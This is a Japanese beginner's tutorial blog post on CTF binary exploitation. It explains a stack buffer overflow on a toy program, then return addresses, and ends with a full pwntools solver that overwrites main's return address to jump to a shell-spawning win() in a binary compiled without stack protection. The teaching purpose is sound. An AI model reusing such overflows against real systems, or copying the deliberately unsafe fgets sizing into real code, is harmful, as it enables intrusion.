26
19

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

(CTF) Pwn入門

Last updated at Posted at 2023-12-03

Pwn入門

どうもPwn初心者です.

この記事ではpwnに入門し,CTFの問題を解きながらreturn addressを上書きできるようになることを目標とします.
return addressを上書きできるようになれば,pwnの超基本的な部分が分かるようになると思います.

return address等の用語もできるだけ解説するつもりなのでぜひ暇な人は入門してってください.

誤り等に気づいた方は連絡いただけると助かります.

この記事は,東京高専プロコンゼミ① Advent Calendar 2023の記事です!良ければほかの人の記事も読んでみてください!

環境

  • x86_64のLinux系(debian)の環境を想定
  • コンパイラはgccを想定

Windowsをお使いの方はWSLを使うといいと思います.

環境
ここではx86_64(大体のPCはこのCPU)向けの解説をするのでArm(macbookとかで使われているCPU)の環境を使っている場合相違があります.
arm(macとか)の人はQEMUやvmwareを使い仮想環境を作りましょう.

https://qiita.com/iwa_gino/items/11aaffa9e49f2fc423d0

コンパイラについてバージョンが違うとすこし相違があるかもしれませんが多分問題ないと思います.
一応投稿者のバージョンを張っておきます.

gcc version 13.2.0 (Debian 13.2.0-4)

gccが入っていない場合installしてください.

sudo apt install build-essential

第0章 CTFとはPwnとは

CTFとは

CTFとはセキュリティの大会です。問題サーバーの脆弱性をついたり,問題ファイルを解析することでFlagと呼ばれる文字列を入手するゲームのようなものです.

Flag
Flag{HE110_PWN4b1e}
  • 暗号を復号したり (Crypto)
  • 鯖で動いているアプリの脆弱性をついて鯖に侵入したり (Pwnable)
  • Webアプリの脆弱性を見つけて機密情報を得たり (Web)
  • 渡されたファイルを解析したり (Reversing)

とセキュリティとコンピュータの総合的な力が問われる大会のことです.

CTFは企業や個人が開催していて世界中でほぼ毎週CTFが開催されています.

イベント型のCTF

CTFといば基本的にイベント型のCTFのことを指すと思います.
時間制限があり,その時間内に解けた問題のポイントで他プレイヤーと競い合います.

以下イメージ画像
image.png
image.png

  • SECCON Beginners CTF
    日本国内ではおそらく最大の初心者向けのイベント型のCTF

このイベント型CTFの予定は以下のページやCTFやってそうな人をフォローしておけば知ることができます.

常設CTF

その名の通りいつでも問題を解けるCTFです.

イメージ
image.png

Pwnとは

Pwnable(Pwn)はCTFで出される問題のカテゴリの一つです.(picoCTFではBinary Exploitationと呼ばれている.)

主にLinux向けにビルドされた脆弱性を持ったアプリがサーバーで動いており,そのアプリの脆弱性を突いて,サーバーを乗っ取る問題です.

簡単なCTFでは普通,実行形式のバイナリそのソースコードそして実際の鯖の情報(アドレスとポート)が配布されます.

問題を解く手順は以下の通りです.

  • 配布ファイルを見て,脆弱性を見つける
  • 脆弱性を突いて攻撃するプログラム(ソルバー)を作る
  • ソルバーを実行しサーバーを乗っ取りFLAGを取得する

第1章 簡単なスタックバッファオーバーフロー

CTFとは,Pwnとはなにか,なんとなく理解したところで,さっそくPwnに入門していきましょう.

まず基本の脆弱性stack buffer overflowの簡単な問題を解いていきましょう.

p1.c
#include <stdio.h>

int main() {
	char a = 0xaa;
	char buf[10] = {0};

	printf("a: %p \nb: %p\n", &a, buf);
	printf("What's your name: ");

	fgets(buf, 20, stdin);

	if (a != (char)0xaa) {
		system("/bin/sh");
	}

	printf("HELLO CTF!, %s\n", buf);
	return 0;
}

x86_64のLinux系(debian)の環境で以下のコマンドでコンパイルしてください.
Windowsをお使いの方はWSLを使うといいと思います.

gcc -o p1 p1.c 

またgccが入っていないときはinstallしてください.

sudo apt install build-essential

環境
ここではx86_64(大体のPCはこのCPU)向けの解説をするのでArm(macbookとかで使われているCPU)の環境を使っている場合相違があります.
arm(macとか)の人はQEMUやvmwareを使い仮想環境を作りましょう.

https://qiita.com/iwa_gino/items/11aaffa9e49f2fc423d0


実行するとローカル変数のアドレスが表示され,名前を聞かれます.

image.png

ソースコードを読めばわかる通りfgetsでユーザーからの入力をbufに最大で20文字書き込んでいます.

	fgets(buf,20,stdin); // ユーザの入力を最大20文字bufに入れる

ここでbufの定義を見てみましょう

	char buf[10];

おやおかしいですね.bufは最大10文字しか格納できませんが,fgets20文字書き込めてしまいます.(null文字を含めて

どうなるのでしょうか.10文字はbufに入れられるとして,あふれた10文字はどうなるのでしょうか?

とりあえず10文字以上入力してみましょう.

a: 0x7ffd98bbb47f
b: 0x7ffd98bbb475
What's your name: 0123456789a

image.png
するとどうでしょう.シェルが取れましたね.

これはbからあふれた文字によってaの値が上書きされてしまったためです.

解説

これをより鮮明に理解するためにはまずローカル変数がどこに保存されるのかについて理解する必要があります.

ローカル変数の行方

まずローカル変数とは関数の中で定義されているstaticでない変数のことです.

例ex1
#include <stdio.h>

int main(){
    int a; // ローカル変数
    int b[10]; // ローカル変数
    const int c = 2; // ローカル変数

    static int d = 3; // not ローカル変数

    printf("hello");
    return;
}

ではこのローカル変数はどこに保存されているのでしょうか.

スタック

実はローカル変数はスタックと呼ばれるメモリ領域に保存されます.
例えば問題のプログラムのローカル変数は示す図のようにスタックに保存されます.

p1のローカル変数
int main(){
	char a = 0xaa;
	char buf[10] = {0};
/// 以下略

image.png

このようにローカル変数はスタックと呼ばれるメモリ領域に積むようにおかれていきます.

とりあえず今はスタックというメモリ領域にローカル変数は置かれているというのをイメージすればいいです.

あふれた文字はどこに行くのか

ローカル変数がどこに保存されるのか分かったところで,次にあふれた文字はどこに行ってしまうのかについて考えてみましょう.

image.png

ここで重要なのは配列にどの順番でデータが入っていくのかです.
実は上の図の通り配列には上から下にデータが入っていきます.
なので例えば以下のように文字を入力したときは下の図のようになります.

image.png

image.png

ではあふれるだけ文字を入力したらどうなるでしょうか.
上の図の通りfgets()は改行と終端文字,合わせて2文字分を自動で入れてくれます.(指定した文字数内の場合.詳しくはhttps://www.ibm.com/docs/ja/i/7.3?topic=functions-fgets-read-string)

なので9文字を入力し改行すると(9文字+'\n'+'\0')で11文字.これでbufからあふれる文字数がfgetsで入ってしまいます.この場合どうなるでしょうかやってみましょう.

image.png

シェルが取れました.この時のスタックは以下の通り.

image.png

そうです実は溢れてしまうと,この通りその分だけ別のデータが上書きされてしまうのです.

これにより変数aの値が0(終端文字は0)になり,問題コード中の以下の条件を満たすようになり,system("/bin/sh");が呼ばれるのです.

p1.c
	if (a != (char)0xaa) {
		system("/bin/sh");
	}

「スタックにあるバッファが溢れてしまう」この脆弱性をスタックバッファオーバーフローと言い,スタック上にあるデータを書き換えることができてしまうのです!

ご褒美のフラグ((((???
flag{yattane!stack_buffer_overflow}

第2章 リターンアドレスってなんだろう

この入門での最終目的は,このリターンアドレスを第1章で理解した,スタックバッファオーバーフローで上書きすることです.

ですので次はこのリターンアドレスとは何かについて学んでいきましょう.

まず,リターンアドレスとは,call命令を実行したときに,スタックにpushされるアドレスです.(これがわかっていればこの章は多分飛ばして問題ないです.)

わからない場合,その前に本当に少しだけアセンブリについて学んでいきましょう.

アセンブリ

少しだけアセンブリについて学んでいきましょう.
今は完璧に理解しなくてもいいので軽く読んでください.

簡単にしか説明しないのでもっと知りたい人はこの節の下にわかりやすいアセンブリの資料を張っているのでそこを見るといいと思います.

アセンブリとは

コンパイルすると実行するためのファイルが生成されますね.(この画像のp1が実行するためのファイル)
image.png

大雑把に言うとそれは機械語というCPUが実行できる命令の集まりになっています.
image.png

ですがこれは人間が読めるものではないです.なのでその機械語一つ一つに一対一で名前を付けてあげたのがアセンブリです.

image.png

例えば先ほどコンパイルしたp1のアセンブリを見るためには以下のコマンドを実行しましょう.

objdump -M intel -d p1

アセンブリが見えたはずです.このように機械語をアセンブリに変換することを逆アセンブルといいます.

レジスタ

レジスタとはCPU内のメモリのことでいろんな演算に使われたり,関数に引数を渡す際に使用されたりします.
レジスタ一つ一つに名前がついています.

x86_64ではレジスタは8byte.(レジスタ一覧にあるようにそのレジスタの下位4byteなど一部を使うこともできる.)

レジスタ一覧.

一部のレジスタには役割があり,例えば
RSPというレジスタには,先ほどのスタックの一番上のアドレスが格納されます.
RBPスタックの基準点として扱われます.

特にRIPというレジスタには,次に実行する命令が保存されているメモリのアドレスが入っています(重要)

スタック

スタック領域とはメモリ領域のこと.特にスタック呼ばれるデータ構造のように扱われるのでスタックと呼ばれています.
スタック(データ構造)

スタックに関係するレジスタは以下の二つです.

  • rspレジスタ.スタックの先頭のアドレスが入っています
  • rbpレジスタ.スタックの基準となるアドレスが入っています

image.png

rbpはスタックの基準点として使われます.
例えばp1を逆アセンブルしたものを見ると以下のように基準点rbpから-1の位置に0xaaを置いていることがわかります.mov命令は次の節を見てください.
image.png

また,スタックの先頭にデータを置くpush,先頭からデータを取るpopという命令があり,スタックと呼ばれるデータ構造のようにスタック領域を使うことができます.(次の節を参照してください.

命令

たくさんの命令がありますが一部を紹介します.

mov

右の値を,左のメモリまたはレジスタに保存する.

mov rax, 0 # raxはレジスタの一つ

上の例では,RAXレジスタに0を代入している.

push

スタックに8byte分データを入れる.

push rax

例では,RAXレジスタに入っている値(8byte)をスタックの一番上に積む.
この時スタックの一番上が変わるためRSPも変わる.(rsp=rsp-8となる.

pop

スタックから8byte分データをとる.

pop rax

例では,スタックの一番上に積まれているデータ(つまりRSPがさすデータ)をRAXレジスタに入れる.
この時スタックの一番上が変わるためrspも変わる.(rsp=rsp+8となる.
pushの逆.

call

関数を呼び出す.

call 0x1234 # 関数のアドレス

実際にはRIPレジスタに関数のアドレスを入れて,スタックにリターンアドレスをpushしている.

ret

関数から出る.

ret

call命令と逆をやるようなものだと思えばわかりやすい.
スタックからリターンアドレスをpopしてripに入れる.(つまりpop rip


これだけわかればこの記事では問題ないはずです

わかりやすいアセンブリの資料たち

わかりやすい資料を張っておきます.もっと知りたい,またはこの記事がよくわからなかったときはこれらの記事を見ましょう.とても分かりやすいです.
この記事では100%理解する必要はないのでこれらの資料を必要な時に見てください.

  • 人間コンパイラコンテストのチュートリアル

  • x86のやつだけどわかりやすいやつ

  • レジスタ一覧

アセンブリについては上のやつを見れば大体わかると思います.

一応投稿主が書いたわかりやすいかは謎の資料も張っておきます.

  • 分かりやすいかわからんけど投稿主が書いたやつ

リターンアドレス

ついに本命リターンアドレスとは何かです.といっても上の節を理解していれば簡単なはずです.

リターンアドレスとは,call命令を実行したときスタックにpushされるアドレスです.

では何のために存在するのでしょうか

何のためのリターンアドレス

それはret命令でcallを実行した元の場所に戻るためです

以下のようなプログラムを見てみましょう.

ex2
#include <stdio.h>

int win() {
	printf("you win!\n");
	return 0;
}

int main() {
	printf("hello\n");
	win();
	return 0;
}

上のプログラムではmain関数でwin関数を呼び出していますがどうやってwin関数からmain関数に戻るのでしょうか.return 0;を実行すれば戻るのはそうですが,「どこに戻る」というのはどこに保存しているのでしょうか.

そうですその,どこに戻るのかを示しているのがリターンアドレスなのです!
そしてそれは先ほども記したようにスタックに保存されています!

一応,それが本当か確かめるべくgdbを使ってみましょう!

gdb

gdbはデバッグするためのツールで,実際に動かしながら,プログラムの動作やスタックの様子などを見ることができます.
CTFでも確実に使います.ですがここでは使い方はほかの記事に任せます.

この記事中では使えなくても問題ないですが,pwnをやるなら絶対に,使えるようになる必要があるとおもいます.

gdbデバッガのセットアップ等は以下の記事で紹介しています.

ではgdbで見ていきましょう.
image.png

上段がレジスタの状態,
中段が実行しているアセンブリの内容(矢印が次に実行する命令を示している),
下段がスタックの内容です.

プログラムを進めてcall winを実行しwin関数の中に入ります.スタックの変化に注目してください.

image.png

するとどうでしょう.

スタックのところだけ切り取ると
これが
image.png

こうです.
image.png

図にするとこうです.
image.png

確かにスタックに呼び出し元のmain関数へのアドレスがスタックに入っていますね.

「やったー!リターンアドレスを理解したよ!」(投稿者が切望するみんなの声)

ご褒美のフラグ2((((???
flag{yattane!_return_address!!!!!!!}

第3章 リターンアドレスオーバーライト

リターンアドレスオーバーライトreturn address overwriteとはつまり最終目的であるリターンアドレスを上書きする攻撃のことです.

スタックにあるリターンアドレスをどうにかして上書きすることでret命令を実行したときに任意の場所に処理を飛ばすことができるのです.

問題を解き実践していきましょう.

p2.c
#include <stdio.h>

int win() {
	asm volatile("mov $0,%spl");  // 問題簡単のためにここでrspを0x10境界にする.https://sok1.hatenablog.com/entry/2022/01/17/050710
	printf("you win!\n");
	system("/bin/sh");
	return 0;
}

int main() {
	char buf[16] = {0};

	printf("win: %p\n\n", win);
	printf("What's your name: ");

	fgets(buf, 100, stdin);

	printf("HELLO CTF!, %s\n", buf);
	return 0;
}

以上のプログラムを以下のコマンドでコンパイルしてください.

gcc -fno-stack-protector p2.c -o p2

ここでは問題を簡単にするためコンパイラに-fno-stack-protectorというオプションをつけています.

オプションについて(今は読まなくてもいいです

-fno-stack-protectorはスタックにある値が上書きされたことを検知する仕組みを無効にするためのオプションです.

具体的にはリターンアドレスの前にcanaryと呼ばれる定数がセットされ,それが上書きされたら強制終了する仕組み.

今は簡単にするため無効化しているので,理解しなくても問題ないですが,CTFではこのcanaryをなんとかしてリークしたりすることが多いです.

https://qiita.com/GmS944y/items/b10a1abde35f7175ea4b

以下実行例
image.png

win関数を呼び出すことができれば勝ちですが、mainでは呼ばれていません。
どのようにして解いていくのか、問題を解いていきましょう.

main
int main() {
	char buf[16] = {0};

	printf("win: %p\n\n", win);
	printf("What's your name: ");

	fgets(buf, 100, stdin);
 /////// 略

まずおかしな点があることに気づきましたか?そうですね.
なんとbufが16文字分の配列なのに,fgetsで100文字も入れることができてしまいます!(第1章でやったとこだ!)

例のスタックバッファオーバーフローがあります!これで何かを上書きするのですが,さあ何でしょうか?

そうですね.リターンアドレスです.ではどこのリターンアドレスでしょうか?


実はそれはmain関数のリターンアドレスです.

mainのリターンアドレス.

実はmain関数にもリターンアドレスがあります.gdbで確認してみましょう.

image.png
image.png

このようにmainにも戻る場所があり,mainも別の関数から呼び出されているのです.

ではやるべきことがわかりました.バッファオーバーフローmain関数のリターンアドレスwin関数のアドレスで上書きしてしまえばいいのです.
するとmain関数のretが実行されたときにwinが実行され勝利をつかむことができます!

では具体的にどう入力すればmain関数のリターンアドレスを上書きすることができるのでしょうか.

スタックの状態

ここでmain関数のスタックの状態を確認しましょう.

逆アセンブル結果の一部
image.png

このように,関数内ではまずpush rbpでスタックにrbpの値が積まれていることがわかります.その後sub rsp, 0x10RSPから0x10(16)分引いてスタックを上に伸ばして,buf[16]をのメモリを確保しています.(sub命令は引き算する命令,この場合.rsp=rsp-0x10

次にgdbで確認してみましょう.
image.png
すると以上のようにリターンアドレスが入っていることがわかります.これを図にすると以下の通り.

image.png

この図を見てわかるように,buf[0]からリターンアドレスまでの距離は24bytesです.

つまり,24文字適当な文字を入力してから,win関数のアドレスを入力すると,リターンアドレスwin関数のアドレスに書き換わり,その状態でmain関数のret命令が実行されると,win関数を実行できる,というわけです!

image.png

問題を解く

解き方がわかったので,実際に問題を解いていきましょう.

解き方をまとめると以下の通りです.

  • win関数のアドレスを手に入れる
  • 24文字適当に入力
  • win関数のアドレスを入力

ここで,win関数のアドレスは実行するとプログラムが教えてくれます.(実行するたびに代わるので注意.

image.png

win関数のアドレスについて(今は読まなくてもいいです)

PIEという実行形式になっていると毎回プログラムをメモリのランダムな位置にプログラムを配置するようになり,簡単には任意の場所に飛ばすことができなくなります.(デフォルトでPIEは有効なので今回の問題も関数アドレスが毎回変わる.)
https://miso-24.hatenablog.com/entry/2019/10/16/021321
https://qiita.com/0yoyoyo/items/85122f31ba8d14332e3d

ここ以外で問題を解く際にPIEかどうか判別するには
checksecというコマンドで確認しましょう.

image.png

ではこのwin関数のアドレスで上書きしたいのですが,どうやって入力するのでしょうか..キーボードでは入力できませんし,毎回手打ちするのはめんどくさいですよね.

そこでpwnを解くときには良く,問題を解くためのプログラムが作られます.(このプログラムのことをsolverと言ったりする.

そしてpwnを解くプログラムを書くときによく用いられるライブラリの1つにPwntoolsというものがあります.

Pwntools

Pwntoolsはpwnを解くためのsolverを書く際に使われるライブラリで,pythonのライブラリです.

以下のコマンドでインストールできます.

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

使い方についてはとても分かりやすい記事があるのでそれを都度確認しましょう.

では実際にsolverを書いていきましょう!
まずライブラリを読み込み,process()でプロセスとやり取りできるようにします.

solver.py
from pwn import *

io = process('./p2')

次に,実行した際に表示されるwin関数のアドレスを読み取るようにしていきましょう.

image.png

solver.py
a=io.readline() # プロセスの出力した文字列から,一行読み取る
a=a[5:-1] # win: と \n を取り除く

今,変数winは数字の文字列なのでintに変換しそしてそれをbytes型という型に変換してやります.

win=int(win,16) # intに変換
win=p64(win) # p64でintをbytes型に変換

次に,24文字とwin関数のアドレスを入力する処理を書きます.

payload=b'A'*24+win # 24バイトのA(適当な文字)とwin
io.sendline(payload) # \nをつけて送信(入力)

最後にio.interactive()で双方向に入力出力できるようにします.

io.interactive() # 対話モードに入る

できたsolverは以下の通り.

solver.py
from pwn import *

io = process('./p2')

win=io.readline() # プロセスの出力した文字列から,一行読み取る
win=win[5:-1] # win: と \n を取り除く

win=int(win,16) # intに変換
win=p64(win) # p64でintをbytes型に変換

payload=b'A'*24+win # 24バイトのA(適当な文字)とwin
io.sendline(payload) # \nをつけて送信(入力)

io.interactive() # 対話モードに入る

実行してみましょう.

python3 solver.py

image.png

you win!と表示されシェルが実行されました!!

ついに..ついにやりましたね!!!(歓喜)

ご褒美のフラグ3((((???
flag{yatta~~!!pwn_pwn_pwn_pwn_ni_nyuumonda~~!!!omedetou!!}

やったね!!

最終章 これから

見事にリターンアドレスを上書きしてシェルを乗っ取ることができました!
この入門はここでおしまいです!

これからどうしましょう.なにをやるでもいいですが,例えば,今回のp2では簡単のために-fno-stack-protectorというオプションでコンパイルしていました,それについて調べたり,GDBについて調べたり,x86_64について学んだり..本当にやれることはたくさんあると思います!

CTFは広く楽しくPWNだけでなく暗号や,Web系の問題などもあります!そちらに入門するもよし!pwnを深めるもよしです!

どちらにせよ,強くなるにはCTFに出続け,調べて,学ぶということが必要不可欠です!

(調べる時は「〇〇ctf writeup」等で調べてると出てきます。)


この記事を読んでくれた皆様に,これからきっと楽しいCTFの毎日が待っていると願っています!
ご褒美のフラグ4((((???
flag{yatta~~!!th4nk_y0u_f0r_re4d14ng!!!}

感謝

拙い文章でしたが,読んでいただきありがとうございました!
この記事は,東京高専プロコンゼミ① Advent Calendar 2023の記事です!良ければほかの人の記事も読んでみてください!!
さよなら!

26
19
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
26
19

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?